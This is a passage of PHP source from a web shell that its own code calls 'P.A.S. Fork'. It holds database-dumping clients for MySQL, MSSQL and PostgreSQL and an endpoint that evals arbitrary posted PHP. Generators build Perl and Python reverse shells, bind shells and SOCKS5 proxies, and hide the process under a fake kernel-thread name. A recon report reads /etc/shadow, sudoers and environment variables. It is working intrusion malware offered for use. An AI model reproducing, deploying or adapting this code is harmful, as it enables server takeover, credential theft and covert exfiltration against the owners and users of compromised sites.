                foreach ($a as $v)
                    if ($this->_res = pg_exec($this->_cnct, $v))
                        return TRUE;
                return FALSE;
            }
            function fetchBase() {
                return ($v = pg_fetch_row($this->_res)) ? $v[0] : FALSE;
            }
            function setBase($v) {
                if ($v !== $this->_base) {
                    $this->_base = NULL;
                    pg_close($this->_cnct);
                    if (!($this->_cnct = pg_connect($this->_params . ' dbname=' . $this->escParam($v))))
                        return FALSE;
                    $this->_base = $v;
                    pg_exec($this->_cnct, "SET CLIENT_ENCODING TO '" . $this->charset($this->_clcs) . "'");
                }
                return TRUE;
            }
            function fetchSchema() {
                return ($v = pg_fetch_row($this->_res)) ? $v[0] : FALSE;
            }
            function fetchTable() {
                return ($v = pg_fetch_row($this->_res)) ? $v[0] : FALSE;
            }
            function getTableSize($b, $s, $t) {
                if (($v = pg_exec($this->_cnct, 'SELECT COUNT(*) FROM ' . pgsqlEscName($s, $t)))) {
                    $v = pg_fetch_row($v);
                    return $v[0];
                }
                return '"?"';
            }
            function getColumns($b, $s, $t) {
                $a = parent::getColumns($b, $s, $t);
                if ($a)
                    return $a;
                $a = array();
                if (PHP_VERSION >= '4.3' && ($v = pg_meta_data($this->_cnct, $s . '.' . $t))) {
                    foreach ($v as $k => $i) {
                        $a[$k] = strtoupper($i['type']);
                        if ($i['not null'])
                            $a[$k] .= ' NOT NULL';
                    }
                    return $a;
                }
                if (PHP_VERSION >= '4.2' && ($q = pg_exec($this->_cnct, 'SELECT * FROM ' . pgsqlEscName($s, $t) . ' LIMIT 0'))) {
                    $i = 0;
                    while (($v = pg_field_name($q, $i)) !== FALSE)
                        $a[$k] = pg_field_type($q, $i++);
                    return $a;
                }
                if (($v = pg_exec($this->_cnct, 'SELECT * FROM ' . pgsqlEscName($s, $t) . ' LIMIT 1')) && ($v = pg_fetch_array($this->_res, NULL, PGSQL_ASSOC))) {
                    foreach ($v as $k)
                        $a[$k] = '';
                    return $a;
                }
                return FALSE;
            }
            function query($v) {
                return ($this->_res = pg_exec($this->_cnct, $v));
            }
            function fetchAssoc() {
                return pg_fetch_array($this->_res, NULL, PGSQL_ASSOC);
            }
            function fetchRow() {
                return pg_fetch_row($this->_res);
            }
            function dump($b, $s, $t, $c, $f) {
                if (!$this->setBase($b))
                    return sprintf(E_CHNGDB, $b, $s, $t);
                $i = '';
                if ($f) {
                    if ($v = $this->getColumns($b, $s, $t))
                        sqlOutCreate($t, $v, 'BINARY', 'pgsqlEscName');
                    else
                        $i = sprintf(E_CNSTCS, $b . '.' . $s . '.' . $t);
                }
                $c = sqlJoinColumns($c, 'pgsqlEscName');
                if (pg_exec($this->_cnct, 'BEGIN; DECLARE c CURSOR FOR SELECT ' . $c . ' FROM ' . pgsqlEscName($s, $t))) {
                    if (($v = pg_exec($this->_cnct, 'FETCH NEXT FROM c')) && ($v = pg_fetch_array($v, NULL, PGSQL_ASSOC))) {
                        if ($f)
                            sqlOutInsert(pgsqlEscName($t), $c);
                        else
                            echo implode(';', array_keys($v)), "\n";
                        $c = $this->_cnct;
                        $d = FALSE;
                        do {
                            if ($d)
                                echo $d;
                            else
                                $d = $f ? ',' : "\n";
                            if ($f)
                                sqlOutValues($v, 'pgsqlEscData');
                            else
                                csvOutValues($v);
                        } while (($v = pg_exec($c, 'FETCH NEXT FROM c')) && ($v = pg_fetch_row($v)));
                        if ($f)
                            echo ";\n";
                    }
                    pg_exec('CLOSE c; ROLLBACK');
                } else
                    $i .= sprintf(E_SLCTDT, $b . '.' . $t);
                return $i;
            }
            function close() {
                pg_close($this->_cnct);
            }
        }
        if (PHP_VERSION >= '5'):
            class MySQLPDOClient extends MySQLBase {
                function connect($h, $u, $p, $b, $c) {
                    $a = array();
                    if ($h !== NULL && ($v = strrpos($h, ':'))) {
                        $t = (int) substr($h, $v + 1);
                        $h = substr($h, 0, $v);
                    } else
                        $t = NULL;
                    if ($h !== NULL)
                        $a[] = 'host=' . $h;
                    if ($t !== NULL)
                        $a[] = 'port=' . $t;
                    if ($b !== NULL)
                        $a[] = 'dbname=' . $b;
                    try {
                        $v = new PDO('mysql:' . implode(';', $a), $u, $p);
                    }
                    catch (Exception $e) {
                        $this->connError($e->getMessage(), $h, $u, $p, $b);
                    }
                    $v->query('SET NAMES ' . $this->charset($c));
                    $this->_cnct = $v;
                    return TRUE;
                }
                function getTableSize($b, $t) {
                    return $this->sqlTableSize(mysqlEscName($b, $t));
                }
                function getColumns($b, $t) {
                    if ($a = parent::getColumns($b, $t))
                        return $a;
                    return $this->getColumnsNames(mysqlEscName($b, $t));
                }
                
                /*FIX*/
				function fetchRow() {
					$r = $this->_res->fetch(PDO::FETCH_NUM);
					if(defined('MPDFIX') && is_int(MPDFIX)) $this->_res->closeCursor();
					return $r;
				}
                
                function dump($b, $t, $c, $f) {
					define('MPDFIX', 1);
					
                    if ($f)
                        $i = $this->outCreateTable($b, $t);
                    $c = sqlJoinColumns($c, 'mysqlEscName');
                    $this->_cnct->setAttribute(PDO::MYSQL_ATTR_USE_BUFFERED_QUERY, FALSE);
                    if (($q = $this->_cnct->query('SELECT ' . $c . ' FROM ' . mysqlEscName($b, $t))) && ($v = $q->fetch(PDO::FETCH_ASSOC))) {
                        if ($f)
                            sqlOutInsert(mysqlEscName($t), $c);
                        else
                            echo implode(';', array_keys($v)), "\n";
                        $d = FALSE;
                        do {
                            if ($d)
                                echo $d;
                            else
                                $d = $f ? ',' : "\n";
                            if ($f)
                                sqlOutValues($v, 'mysqlEscData');
                            else
                                csvOutValues($v);
                        } while ($v = $q->fetch(PDO::FETCH_NUM));
                        if ($f)
                            echo ";\n";
                    } else
                        $i .= sprintf(E_SLCTDT, $b . '.' . $t . ' '. print_r($this->_cnct->errorInfo(), true));
                    return $i;
                }
            }
            class MSSQLPDOClient extends MSSQLBase {
                var $canPaginate = FALSE;
                function connect($d, $u, $p, $b, $c) {
                    try {
                        $v = new PDO($d, $u, $p);
                    }
                    catch (Exception $e) {
                        $this->connError($e->getMessage(), $d, $u, $p, $b);
                    }
                    $this->_cnct = $v;
                    $this->_base = $b;
                    return TRUE;
                }
                function getTableSize($b, $s, $t) {
                    return $this->sqlTableSize(mssqlEscName($b, $s, $t));
                }
                function setBase($v) {
                    if ($v !== $this->_base) {
                        $this->_base = NULL;
                        if (!$this->_cnct->query('USE ' . mssqlEscName($v)))
                            return FALSE;
                        $this->_base = $v;
                    }
                    return TRUE;
                }
                function getColumns($b, $s, $t) {
                    if ($a = parent::getColumns($b, $s, $t))
                        return $a;
                    return $this->getColumnsNames(mssqlEscName($b, $s, $t));
                }
                function select($b, $s, $t, $c, $o, $l) {
                    return $this->query('SELECT TOP ' . $l . ' ' . sqlJoinColumns($c, 'mssqlEscName') . ' FROM ' . mssqlEscName($s, $t));
                }
                function dump($b, $s, $t, $c, $f) {
                    if (!$this->setBase($b))
                        return sprintf(E_CHNGDB, $b, $s, $t);
                    $i = '';
                    if ($f) {
                        if ($v = $this->getColumns($b, $s, $t))
                            sqlOutCreate($t, $v, 'BINARY', 'mssqlEscName');
                        else
                            $i = sprintf(E_CNSTCS, $b . '.' . $s . '.' . $t);
                    }
                    $c = sqlJoinColumns($c, 'mssqlEscName');
                    if (($q = $this->_cnct->query('SELECT ' . $c . ' FROM ' . mssqlEscName($s, $t))) && ($v = $q->fetch(PDO::FETCH_ASSOC))) {
                        if ($f)
                            sqlOutInsert(mssqlEscName($t), $c);
                        else
                            echo implode(';', array_keys($v)), "\n";
                        $d = FALSE;
                        do {
                            if ($d)
                                echo $d;
                            else
                                $d = $f ? ',' : "\n";
                            if ($f)
                                sqlOutValues($v, 'mssqlEscData');
                            else
                                csvOutValues($v);
                        } while ($v = $q->fetch(PDO::FETCH_NUM));
                        if ($f)
                            echo ";\n";
                    } else
                        $i .= sprintf(E_SLCTDT, $b . '.' . $s . '.' . $t);
                    return $i;
                }
                function fetchBase() {
                    if (($v = $this->_res->fetch(PDO::FETCH_NUM)) || ($this->_res->nextRowset() && ($v = $this->_res->fetch(PDO::FETCH_NUM))))
                        return $v[0];
                    return FALSE;
                }
                function fetchSchema() {
                    return $this->_res->fetchColumn(1);
                }
                function fetchTable() {
                    if (($v = $this->_res->fetch(PDO::FETCH_NUM)) || ($this->_res->nextRowset() && ($v = $this->_res->fetch(PDO::FETCH_NUM))))
                        return count($v) === 1 ? $v[0] : $v[2];
                    return FALSE;
                }
                function nextResult() {
                    return $this->_res->nextRowset();
                }
            }
            class MSSQLDBLIBClient extends MSSQLPDOClient {
                function connect($h, $u, $p, $b, $c) {
                    $a = array();
                    if ($h !== NULL)
                        $a[] = 'host=' . $h;
                    if ($b !== NULL)
                        $a[] = 'dbname=' . $b;
                    return parent::connect('mssql:' . implode(';', $a), $h, $u, $p, $b, $c);
                }
            }
            class MSSQLODBCClient extends MSSQLPDOClient {
                function connect($h, $u, $p, $b, $c) {
                    $a = array();
                    if ($h !== NULL)
                        $a[] = 'Server=' . $h;
                    if ($b !== NULL)
                        $a[] = 'Database=' . $b;
                    return parent::connect('odbc:' . implode(';', $a), $h, $u, $p, $b, $c);
                }
            }
            class SQLSrvPDOClient extends MSSQLPDOClient {
                function connect($h, $u, $p, $b, $c) {
                    $a = array();
                    if ($h !== NULL)
                        $a[] = 'Server=' . $h;
                    if ($b !== NULL)
                        $a[] = 'Database=' . $b;
                    return parent::connect('sqlsrv:' . implode(';', $a), $u, $p, $b, $c);
                }
            }
            class PGSQLPDOClient extends PGSQLBase {
                function connect($h, $u, $p, $b, $c) {
                    $this->_base = $b;
                    $this->_clcs = $c;
                    $this->fillParams($h, $u, $p);
                    $this->_params = 'pgsql:' . $this->_params;
                    $v             = $this->_params;
                    if ($b !== NULL)
                        $v .= ' dbname=' . $this->escParam($b);
                    try {
                        $v = new PDO($v);
                    }
                    catch (Exception $e) {
                        $this->connError($e->getMessage(), $h, $u, $p, $b);
                    }
                    $v->query("SET CLIENT_ENCODING TO '" . $this->charset($c) . "'");
                    $this->_cnct = $v;
                    return TRUE;
                }
                function setBase($v) {
                    if ($v !== $this->_base) {
                        $this->_res  = NULL;
                        $this->_cnct = NULL;
                        $this->_base = NULL;
                        try {
                            $v = new PDO($this->_params . ' base=' . $this->escParam($v));
                        }
                        catch (Exception $e) {
                            return FALSE;
                        }
                        $this->_base = $v;
                        $v->query("SET CLIENT_ENCODING TO '" . $this->charset($this->_clcs) . "'");
                        $this->_cnct = $v;
                    }
                    return TRUE;
                }
                function getTableSize($b, $s, $t) {
                    return $this->sqlTableSize(pgsqlEscName($s, $t));
                }
                function getColumns($b, $s, $t) {
                    if ($a = parent::getColumns($b, $s, $t))
                        return $a;
                    return $this->getColumnsNames(pgsqlEscName($s, $t));
                }
                function dump($b, $s, $t, $c, $f) {
                    if (!$this->setBase($b))
                        return sprintf(E_CHNGDB, $b, $s, $t);
                    $i = '';
                    if ($f) {
                        if ($v = $this->getColumns($b, $s, $t))
                            sqlOutCreate($t, $v, 'BINARY', 'pgsqlEscName');
                        else
                            $i = sprintf(E_CNSTCS, $b . '.' . $s . '.' . $t);
                    }
                    $c = sqlJoinColumns($c, 'pgsqlEscName');
                    if ($this->_cnct->query('BEGIN; DECLARE c CURSOR FOR SELECT ' . $c . ' FROM ' . pgsqlEscName($s, $t))) {
                        if (($v = $this->_cnct->query('FETCH NEXT FROM c')) && ($v = $v->fetch(PDO::FETCH_ASSOC))) {
                            if ($f)
                                sqlOutInsert(pgsqlEscName($t), $c);
                            else
                                echo implode(';', array_keys($v)), "\n";
                            $c = $this->_cnct;
                            $d = FALSE;
                            do {
                                if ($d)
                                    echo $d;
                                else
                                    $d = $f ? ',' : "\n";
                                if ($f)
                                    sqlOutValues($v, 'pgsqlEscData');
                                else
                                    csvOutValues($v);
                            } while (($v = $c->query('FETCH NEXT FROM c')) && ($v = $v->fetch(PDO::FETCH_NUM)));
                            if ($f)
                                echo ";\n";
                        }
                        $this->_cnct->query('CLOSE c; ROLLBACK');
                    } else
                        $i .= sprintf(E_SLCTDT, $b . '.' . $s . '.' . $t);
                    return $i;
                }
                function fetchSchema() {
                    return $this->_res->fetchColumn(0);
                }
            }
        endif;
        function outData(&$S) {
            echo ',"f":[';
            if ($v = $S->fetchAssoc()) {
                $b = FALSE;
                foreach ($v as $k => $i) {
                    if ($b)
                        echo ',';
                    else
                        $b = TRUE;
                    jsonEcho($k);
                }
                echo '],"r":[';
                $b = FALSE;
                do {
                    if ($b)
                        echo ',';
                    else
                        $b = TRUE;
                    echo '[';
                    $k = FALSE;
                    foreach ($v as $i) {
                        if ($k)
                            echo ',';
                        else
                            $k = TRUE;
                        jsonEcho($i);
                    }
                    echo ']';
                } while ($v = $S->fetchRow());
            }
            echo ']';
        }
        $S = $D['e'] . 'Client';
        $S = new $S();
        if (!$S->connect($D['h'], $D['u'], $D['p'], $D['b'], $D['l']))
            $S->connError($S->getError(), $D['h'], $D['u'], $D['p'], $D['b']);
        if (isset($D['d'])) {
            $Z = new PZIP();
            $Z->init();
            $a = array();
            $m = packTime(time());
            foreach ($D['d'] as $k => $v) {
                if (isset($D['s'][$k]))
                    foreach ($D['s'][$k] as $i => $s) {
                        if (isset($D['t'][$k . '-' . $i]))
                            foreach ($D['t'][$k . '-' . $i] as $n => $t)
                                $a[$v][$s][$t] = isset($D['f'][$k . '-' . $i . '-' . $n]) ? $D['f'][$k . '-' . $i . '-' . $n] : FALSE;
                        elseif ($S->getTables($v, $s))
                            while (($t = $S->fetchTable()) !== FALSE)
                                $a[$v][$s][$t] = FALSE;
                    } elseif (isset($D['t'][$k]))
                    foreach ($D['t'][$k] as $i => $s)
                        $a[$v][$s] = isset($D['f'][$k . '-' . $i]) ? $D['f'][$k . '-' . $i] : FALSE;
                elseif ($S->haveSchemas) {
                    $k = array();
                    if ($S->getSchemas($v))
                        while (($i = $S->fetchSchema()) !== FALSE)
                            $k[] = $i;
                    foreach ($k as $s)
                        if ($S->getTables($v, $s))
                            while (($t = $S->fetchTable()) !== FALSE)
                                $a[$v][$s][$t] = FALSE;
                } elseif ($S->getTables($v))
                    while (($t = $S->fetchTable()) !== FALSE)
                        $a[$v][$t] = FALSE;
            }
            $e = array();
            $o = $D['o'] === '0';
            $x = $o ? '.sql' : '.csv';
            if ($S->haveSchemas)
                foreach ($a as $d => $v)
                    foreach ($v as $s => $k)
                        foreach ($k as $t => $c) {
                            $f = escFileName($d . '.' . $s . '.' . $t) . $x;
                            $Z->fileHeader($f, $m);
                            if ($o)
                                printf(T_DMPHDR, gmdate('Y-m-d H:i:s'));
                            if ($i = $S->dump($d, $s, $t, $c, $o))
                                $e[] = $i;
                            if ($o)
                                printf(T_DMPFTR, gmdate('Y-m-d H:i:s'));
                            $Z->fileFooter($f, $m);
                        } else
                foreach ($a as $d => $v)
                    foreach ($v as $t => $c) {
                        $f = escFileName($d . '.' . $t) . $x;
                        $Z->fileHeader($f, $m);
                        if ($o)
                            printf(T_DMPHDR, gmdate('Y-m-d H:i:s'));
                        if ($i = $S->dump($d, $t, $c, $o))
                            $e[] = $i;
                        if ($o)
                            printf(T_DMPFTR, gmdate('Y-m-d H:i:s'));
                        $Z->fileFooter($f, $m);
                    }
            if ($e) {
                $n = 'ERRORS.txt';
                $t = packTime(time());
                $Z->fileHeader($n, $t);
                foreach ($e as $v)
                    echo $v;
                $Z->fileFooter($n, $t);
            }
            $Z->close();
        }
        if (isset($D['q'])) {
            if ($S->query($D['q'])) {
                echo '{"q":';
                jsonEcho($D['q']);
                outData($S);
                $S->close();
                sDie('}');
            }
            echo '{"e":';
            jsonEcho($D['q'] . "\n" . $S->getError());
            sDie('}');
        }
        if (isset($D['f'])) {
            $b = isset($D['s']);
            if ($b ? $S->select($D['b'], $D['s'], $D['t'], $D['f'], $D['o'], $D['r']) : $S->select($D['b'], $D['t'], $D['f'], $D['o'], $D['r'])) {
                echo '{';
                if ($S->canPaginate)
                    echo '"o":', $D['o'], ',';
                echo '"b":';
                jsonEcho($D['b']);
                if ($b) {
                    echo ',"s":';
                    jsonEcho($D['s']);
                }
                echo ',"t":';
                jsonEcho($D['t']);
                outData($S);
                $S->close();
                sDie('}');
            }
            echo '{"e":';
            jsonEcho("Can't load data from table " . $D['b'] . '.' . ($b ? $D['s'] . '.' : '') . $D['t'] . ' (' . $S->getError() . ')');
            sDie('}');
        }
        if (isset($D['t'])) {
            $b = isset($D['s']);
            if ($v = ($b ? $S->getColumns($D['b'], $D['s'], $D['t']) : $S->getColumns($D['b'], $D['t']))) {
                $S->close();
                echo '{"b":';
                jsonEcho($D['b']);
                if ($b) {
                    echo ',"s":';
                    jsonEcho($D['s']);
                }
                echo ',"t":';
                jsonEcho($D['t']);
                echo ',"f":[';
                $i = FALSE;
                $a = array();
                foreach ($v as $k => $t) {
                    if ($i)
                        echo ',';
                    else
                        $i = TRUE;
                    echo '[';
                    jsonEcho($k);
                    if (!isset($a[$t]))
                        $a[$t] = count($a);
                    echo ',', $a[$t], ']';
                }
                echo '],"y":[';
                $i = FALSE;
                foreach ($a as $k => $v) {
                    if ($i)
                        echo ',';
                    else
                        $i = TRUE;
                    jsonEcho($k);
                }
                sDie(']}');
            }
            $S->close();
            echo '{"e":';
            jsonEcho("Can't list columns for table " . $D['b'] . '.' . ($b ? $D['s'] . '.' : '') . $D['t']);
            sDie('}');
        }
        if (isset($D['b'])) {
            $b = isset($D['s']);
            if ($b || !$S->haveSchemas) {
                if ($b ? $S->getTables($D['b'], $D['s']) : $S->getTables($D['b'])) {
                    echo '{"b":';
                    jsonEcho($D['b']);
                    if ($b) {
                        echo ',"s":';
                        jsonEcho($D['s']);
                    }
                    echo ',"t":[';
                    $i = FALSE;
                    while (FALSE !== ($v = $S->fetchTable())) {
                        if ($i)
                            echo ',';
                        else
                            $i = TRUE;
                        echo '[';
                        jsonEcho($v);
                        if (isset($D['r']))
                            echo ',', $b ? $S->getTableSize($D['b'], $D['s'], $v) : $S->getTableSize($D['b'], $v);
                        echo ']';
                    }
                    $S->close();
                    sDie(']}');
                }
                $S->close();
                echo '{"e":';
                jsonEcho("Can't list tables for " . $D['b'] . ($b ? '.' . $D['s'] : ''));
                sDie('}');
            }
            if ($S->getSchemas($D['b'])) {
                echo '{"b":';
                jsonEcho($D['b']);
                echo ',"s":[';
                $b = FALSE;
                while (FALSE !== ($v = $S->fetchSchema())) {
                    if ($b)
                        echo ',';
                    else
                        $b = TRUE;
                    jsonEcho($v);
                }
                $S->close();
                sDie(']}');
            }
            $S->close();
            echo '{"e":';
            jsonEcho("Can't list schemas for database " . $D['b']);
            sDie('}');
        }
        if ($S->getBases()) {
            echo '[';
            $b = FALSE;
            while (FALSE !== ($v = $S->fetchBase())) {
                if ($b)
                    echo ',';
                else
                    $b = TRUE;
                jsonEcho($v);
            }
            $S->close();
            sDie(']');
        }
        $S->close();
        sDie('{"e":"Can\'t list databases"}');
        break;
    case 'p':
        function sdf() {
            if (defined('PTF'))
                delFile(PTF);
            sDie("\x03\x1E" . (defined('PES') ? "\x06" : "\x15") . "\x17\x04\x10");
        }
        register_shutdown_function('sdf');
        echo "\x01\x02";
        $D['e'] = preg_replace('/(^[\s]*+<\?php)/ui', '', $D['e']);
        $D['e'] = 'define("PES",1);' . $D['e'];
        if (!isset($D['h']))
            $D['e'] = '@error_reporting(E_ALL);@ini_set("error_reporting",E_ALL);@ini_set("display_errors",TRUE);' . $D['e'];
			eval($D['e']);
        if (defined('PES'))
            die;
        if ($v = tempFile('<?php ' . $D['e'])) {
            define('PTF', $v);
            include($v);
            if (defined('PES'))
                die;
            include_once($v);
            if (defined('PES'))
                die;
            require($v);
            if (defined('PES'))
                die;
            require_once($v);
            if (defined('PES'))
                die;
            if (PHP_VERSION >= '5' && PHP_VERSION <= '5.0.4') {
                php_check_syntax($v);
                if (defined('PES'))
                    die;
            }
        }
        if (PHP_VERSION_ID < 80000 && $v = @create_function('&$args', $D['e']))
            $v($args);
        if (defined('PES'))
            die;
        sDie();
        break;
    case 't':
        function getCmdOpt($c, $n, $d) {
            if ($v = strpos($c, ' -' . $n))
                return ltrim(substr($c, $v + 3, strcspn($c, ' ', $v + 4) + 1));
            return $d;
        }
        echo "\x01\x02";
        $D['e'] = isset($D['e']) ? trim($D['e']) : '';
        if (!isset($D['s']))
            $D['s'] = '';
        $k = strtok($D['e'], ' ');
        if (in_array($k, array(
            'backconnect.perl',
            'bindport.perl',
            'socks5.perl'
        ))) {
            $p = '$0="' . getCmdOpt($D['e'], 'n', '[kworker/4:1]') . '\0";use IO::Socket;$SIG{"CHLD"}="IGNORE";$f="[Fail]";$w="[Warn]";socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp")) or die"$f Create socket: $!";';
            if ($k === 'backconnect.perl')
                $p .= '$a=inet_aton("' . strtok(' ') . '") or die"$f Convert host address: $!";$s=sockaddr_in(' . strtok(' ') . ',$a) or die"$f Packed address: $!";connect(S,$s) or die"$f Connect: $!";$r="S";';
            else
                $p .= 'setsockopt(S,SOL_SOCKET,SO_REUSEADDR,1) or print"$w Set socket options: $!\n";$s=sockaddr_in(' . strtok(' ') . ',inet_aton("' . getCmdOpt($D['e'], 'a', '0.0.0.0') . '")) or die"$f Packed address: $!";bind(S,$s) or die"$f Bind socket: $!";';
            if ($k === 'bindport.perl')
                $p .= 'listen(S,1) or die"$f Listen socket: $!";accept(C,S) or die"$f Accept connection: $!";$r="C";';
            if ($k === 'socks5.perl') {
                $v = getCmdOpt($D['e'], 's', '');
                if ($v)
                    $v = explode(':', $v);
                $p .= 'use threads;listen(S,SOMAXCONN) or die"$f Listen socket: $!";print"[Succ] Server successfully launched!\n";close(STDIN);close(STDOUT);close(STDERR);sub prcss{$C = $_[0];sysread($C,$b,1);if($b ne "\x05"){shutdown($C,2);close($C);return;}sysread($C,$b,1);sysread($C,$b,ord($b));if(index($b,"\x0' . ($v ? '2' : '0') . '")==-1){syswrite($C,"\x05\xFF");shutdown($C,0);close($C);return;}syswrite($C,"\x05\x0' . ($v ? '2' : '0') . '");';
                if ($v)
                    $p .= 'sysread($C,$b,1);sysread($C,$l,1);sysread($C,$u,ord($l));sysread($C,$l,1);sysread($C,$p,ord($l));if(($b ne "\x01") || ($u ne "' . $v[0] . '") || ($p ne "' . $v[1] . '")){syswrite($C,"\x01\xFF");shutdown($C,0);close($C);return;}syswrite($C,"\x01\x00");';
                $p .= 'sysread($C,$b,1);if($b ne "\x05"){shutdown($C,2);close($C);return;}sysread($C,$c,1);sysread($C,$b,1);if($b ne "\x00"){shutdown($C,2);close($C);return;}sysread($C,$t,1);if($t eq "\x01"){sysread($C,$a,4);$d=$a;}elsif($t eq "\x03"){sysread($C,$a,1);sysread($C,$b,unpack("c",$a));$a.=$b;$d=inet_aton($b);}elsif($t eq "\x04"){sysread($C,$a,16);$d=$a;}else{shutdown($C,2);close($C);return;}sysread($C,$b,2);$a.=$b;if($c ne "\x01"){syswrite($C, "\x05\x07\x00".$t.$a);shutdown($C,0);close($C);return;}if(!socket(D,PF_INET,SOCK_STREAM,getprotobyname("tcp")) or !connect(D,sockaddr_in(unpack("n",$b),$d))){syswrite($C,"\x05\x05\x00".$t.$a);shutdown($C,0);close($C);close(D);return;}syswrite($C,"\x05\x00\x00".$t.$a);$m="";$fc=fileno($C);$fd=fileno(D);vec($m,$fc,1)=1;vec($m,$fd,1)=1;do{$c=$m;$rc=-1;$rd=-1;if(select($c,undef,undef,1)){if(vec($c,$fc,1)){$rc=sysread($C,$b,10240);if($rc){syswrite(D,$b);}}if(vec($c,$fd,1)){$rd=sysread(D,$b,10240);if($rd){syswrite($C,$b);}}}}while($rc!=0 && $rd!=0);shutdown($C,2);close($C);shutdown(D,2);close(D);}while(accept(C,S)){threads->create("prcss",C);}';
            } else {
                $v = getCmdOpt($D['e'], 's', NIX ? '/bin/sh -i' : 'cmd');
                $p .= 'print"[OK] Successful connected!\n";open(STDOUT,">&$r") or die"$f Redirect STDOUT: $!";print "\n# P.A.S. Fork v.' . VER . ' ' . $k . '\n\n";open(STDIN, "<&$r") or die"$f Redirect STDIN: $!";open(STDERR,">&STDOUT") or print"$w Redirect STDERR: $!\n";exec("' . $v . '") or die"$f Run shell (' . $v . '): $!";';
            }
            $s = getCmdOpt($D['e'], 'i', NIX ? '/usr/bin/perl' : 'perl.exe');
            if ($v = tempFile($p)) {
                exe($s . ' ' . $v . ' &', $D['f'], $D['s']);
                delFile($v);
            } else
                exe($s . " -e '" . $p . "' &", $D['f'], $D['s']);
        } elseif (in_array($k, array(
            'backconnect.python',
            'bindport.python',
            'socks5.python'
        ))) {
            $p = "try:\n import sys,socket";
            if ($k === 'socks5.python')
                $p .= ',struct,threading,select';
            else
                $p .= ',os,' . (getCmdOpt($D['e'], 't', 'N') === 'N' ? 'subprocess' : 'pty');
            $p .= ";\n S = socket.socket(socket.AF_INET,socket.SOCK_STREAM);\n";
            if ($k === 'backconnect.python') {
                $p .= ' S.connect(("' . strtok(' ') . '",' . strtok(' ') . "));\n";
                $s = 'S';
            } else
                $p .= " S.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1);\n" . ' S.bind(("' . getCmdOpt($D['e'], 'a', '') . '",' . strtok(' ') . "));\n S.listen(5);\n";
            if ($k === 'bindport.python') {
                $p .= " (C,A) = S.accept();\n";
                $s = 'C';
            }
            if ($k === 'socks5.python') {
                $v = getCmdOpt($D['e'], 's', '');
                if ($v)
                    $v = explode(':', $v);
                $p .= "except Exception as e:\n print(e);\nelse:\n" . ' print("[Succ] Server successfully launched!"+chr(10));' . "\n sys.stdin.close();\n sys.stderr.close();\n sys.stdout.close();\n def prcss(C):\n" . '  if C.recv(1)!=b"\x05":' . "\n   C.shutdown(2);\n   C.close();\n   return;\n" . '  if b"\x0' . ($v ? '2' : '0') . '" not in C.recv(struct.unpack("B", C.recv(1))[0]):' . "\n" . '   C.send(b"\x05\xFF");' . "\n   C.shutdown(0);\n   C.close();\n   return;\n" . '  C.send(b"\x05\x0' . ($v ? '2' : '0') . '");' . "\n";
                if ($v)
                    $p .= '  if (C.recv(1)!=b"\x01") or (C.recv(struct.unpack("B", C.recv(1))[0])!=b"' . $v[0] . '") or (C.recv(struct.unpack("B", C.recv(1))[0])!=b"' . $v[1] . '"):' . "\n" . '   C.send(b"\x01\xFF");' . "\n   C.shutdown(0);\n   C.close();\n   return;\n" . '  C.send(b"\x01\x00");' . "\n";
                $p .= '  if C.recv(1)!=b"\x05":' . "\n   C.shutdown(2);\n   C.close();\n   return;\n  c = C.recv(1);\n" . '  if C.recv(1)!=b"\x00":' . "\n   C.shutdown(2);\n   C.close();\n   return;\n  t = C.recv(1);\n" . '  if t==b"\x01":' . "\n   a = C.recv(4);\n" . '   d = socket.inet_ntoa(a);' . "\n" . '  elif t==b"\x03":' . "\n   a = C.recv(1);\n" . '   d = C.recv(struct.unpack("B", a)[0]);' . "\n   a += d;\n" . '  elif t==b"\x04":' . "\n   a = C.recv(16);\n" . '   d = socket.inet_ntop(socket.AF_INET6, a);' . "\n  else:\n   C.shutdown(2);\n   C.cloce();\n   return;\n  p = C.recv(2);\n  a += p;\n" . '  if c!=b"\x01":' . "\n" . '   C.send(b"\x05\x07\x00"+t+a);' . "\n   C.shutdown(0);\n   C.close();\n   return;\n  D = socket.socket(socket.AF_INET,socket.SOCK_STREAM);\n  try:\n" . '   D.connect((d, struct.unpack(">H", p)[0]));' . "\n  except:\n" . '   C.send(b"\x05\x05\x00"+t+a);' . "\n   C.shutdown(0);\n   C.close();\n   D.close();\n  else:\n" . '   C.send(b"\x05\x00\x00"+t+a);' . "\n   C.setblocking(0);\n   D.setblocking(0);\n   while True:\n    r,w,e = select.select([C,D], [], []);\n    if len(r)>0:\n     try:\n      d = r[0].recv(10240);\n      if r[0]==C:\n       D.send(d);\n      else:\n       C.send(d);\n     except:\n      D.close();\n      C.close();\n      break;\n while True:\n  (C,A) = S.accept();\n  t = threading.Thread(target=prcss,args=(C,));\n  t.daemon = True;\n  t.start();";
            } else
                $p .= ' print("[OK] Successful connected!\n");' . "\n sys.stdout.flush();\n" . ' os.dup2(' . $s . ".fileno(),0);\n" . ' os.dup2(' . $s . ".fileno(),1);\n" . ' os.dup2(' . $s . ".fileno(),2);\n" . ' print("\n# P.A.S. Fork v.' . VER . ' ' . $k . '\n\n");' . "\n sys.stdout.flush();\n " . (getCmdOpt($D['e'], 't', 'N') === 'N' ? 'subprocess.Popen' : 'pty.spawn') . '(["' . getCmdOpt($D['e'], 's', NIX ? '/bin/sh","-i' : 'cmd') . '"]);' . "\nexcept Exception as e:\n" . ' print(e);';
            $s = getCmdOpt($D['e'], 'i', NIX ? '/usr/bin/python' : 'python.exe');
            if ($v = tempFile($p)) {
                exe($s . ' ' . $v . ' &', $D['f'], $D['s']);
                delFile($v);
            } else
                exe("echo '" . $p . "'| " . $s . ' - &', $D['f'], $D['s']);
        } elseif ($k === 'report') {
            $i = getCmdOpt($D['e'], 's', '');
            if (NIX) {
                $t = "echo ' -------------------------------------------------';";
                $h = 'echo;echo;' . $t . "echo '|'  ";
                $v = "echo '*  This report created by P.A.S. Fork v." . VER . "';echo '*  '`date -u +'%Y-%m-%d %H:%M:%S %Z'`;";
                if (strpos($i, 'o') === FALSE)
                    $v .= $h . 'OS Identification;' . $t . "echo '==> uname <==';" . 'uname -a;echo;tail -n +1 /proc/*version* /etc/*issue* /etc/*release* /etc/*version* /etc/motd;';
                if (strpos($i, 'e') === FALSE)
                    $v .= $h . 'Environment;' . $t . 'env;';
                if (strpos($i, 'u') === FALSE)
                    $v .= $h . 'Users and Groups;' . $t . "echo '==> id <==';" . 'id;echo;' . "echo '==> whoami <==';" . 'whoami;echo;tail -n +1 /etc/*passwd* /etc/*group* /etc/*shadow* /etc/sudoers;echo;' . "echo '==> who <==';" . 'who;';
